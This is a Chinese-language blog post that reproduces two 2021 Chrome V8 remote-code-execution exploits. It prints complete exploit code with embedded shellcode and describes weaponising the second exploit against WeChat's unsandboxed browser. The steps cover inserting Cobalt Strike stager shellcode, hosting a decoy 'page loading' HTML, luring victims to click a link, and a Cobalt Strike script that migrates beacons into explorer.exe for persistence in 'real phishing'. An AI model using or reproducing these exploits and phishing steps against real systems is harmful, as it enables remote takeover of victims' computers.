chrome 0day rce 漏洞复现

文章最后更新时间为:2021年04月22日 16:38:29

漏洞概述

2021年4月13日,国外安全研究员在twitter发布了Chrome远程代码执行0Day的POC: https://twitter.com/r4j0x00/status/1381643526010597380,该漏洞可以启动计算器应用程序。

2021-04-21T14:46:50.png

该漏洞存在于 V8 JavaScript 引擎中,攻击者可通过构造特制web页面并诱导受害者点击访问,以此触发漏洞执行远程代码。

影响版本为

  • Google Chrome < = 89.0.4389.114(正式版)

仅隔一天,4月14日,又有人公开了Chrome的另外一个rce漏洞:https://twitter.com/frust93717815/status/1382301769577861123

2021-04-21T15:10:30.png

影响版本为

  • Google Chrome < = 89.0.4389.128(正式版)

由于Chrome自身拥有沙箱保护,这两个漏洞在沙箱内无法被成功利用,一般情况下,仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。所以直接利用chrome漏洞相对鸡肋,但是仍然有不少基于v8等组件的软件,尤其是未开启沙箱保护的软件,面临着潜在的安全风险。比如微信,接下来将进行复现。

漏洞复现

这里在windows10上安装64位chrome浏览器,版本为89.0.4389.72,下载地址为:

安装完成后,关闭沙箱模式启动chrome,右键图标,选中属性,在启动命令后加上--no-sandbox:

2021-04-21T15:21:45.png

然后用chrome打开下面的html

// exploit.html
<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
        0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
        0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
        0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
        0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
        0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
        0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
        0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
        0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
        0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
        0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
        0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>

2021-04-21T15:25:33.png

成功弹出记事本,如果想执行其他命令替换其中的shellcode即可。

微信上线cs

直接利用chrome进行钓鱼比较困难,因为chrome默认开了沙箱保护。

但是微信内置chrome内核浏览器版本较低,默认使用–no-sandbox,没有开启沙盒。所以我们可以利用微信诱骗别人点击恶意链接,从而执行任意命令。

影响版本为:

  • Windows微信版本<3.2.1.141

这里复现一下利用微信上线cobaltstrike。

exp为:

// wx-exp.js
ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [放入shelcode];

function print(data) {
}

var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}

var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();

    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

然后CS开启stager监听,并生成C语言的 shellcode:

注意这里要生成32位的shellcode,因为windows微信默认是32位的

2021-04-21T15:50:02.png

将生成的shellcode从\x01的形式变为0x01,将shellcode 中的斜杠"\"替换为",0"即可,然后将shellcode填充到上面的exp中。

找个服务器,构造html,包含此js代码

<!DOCTYPE html>
<html>
<head>
    <title>正在加载网页</title>
    <meta charset="utf-8">
    <!-- <script src="chrome-notepad.js"></script> -->
    <script src="wx-exp.js"></script>
    <div style="font-size: 1.3em;margin: 10px auto;width: 200px;display: block;">
正在加载网页中...
</div>
</head>

然后诱导别人通过微信访问此链接。

2021-04-21T16:29:59.png

cs成功上线

2021-04-22T03:28:45.png

cs上线持久化

无论是chrome还是微信,上线cs后,只要用户关闭浏览器或者关闭页面就会断开连接,所以在真实的钓鱼中还得做到上线后的持久化。

持久化的目标就是上线后立马迁移到新的不会关闭的进程,比如explorer.exe。

可以利用下面的cs插件做到上线后的进程迁移

on beacon_initial
{
 sub callback
 {
  $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
  $listener = "wx";
  if ($2  ismatch $regex)
  {
   $pid = matched()[1];
   $inject_pid = $pid;
   if (-is64 $1)
   {
    $arch = "x64";
   }
   else
   {
    $arch = "x86";
   }
   binject($1, $pid, $listener, $arch);
  }
 }
 if($inject_pid != beacon_info($1,"pid"))
 {
  bps($1, &callback);
 }
}

上述插件在beacon_initial阶段对wx的listerner上线的所有机器进行检测,自动迁移进程到explorer.exe。

同时为了在短时间内迁移,我们需要设置心跳的时间为1s,这里直接使用了https://github.com/threatexpress/malleable-c2的profile,然后修改其sleeptime参数为1s:

set sleeptime "1000"; # 1s

然后用户上线后会自动注入到explorer进程中:

2021-04-22T03:29:37.png

exp下载地址:https://github.com/saucer-man/exploit/tree/main/chrome-0day

参考链接

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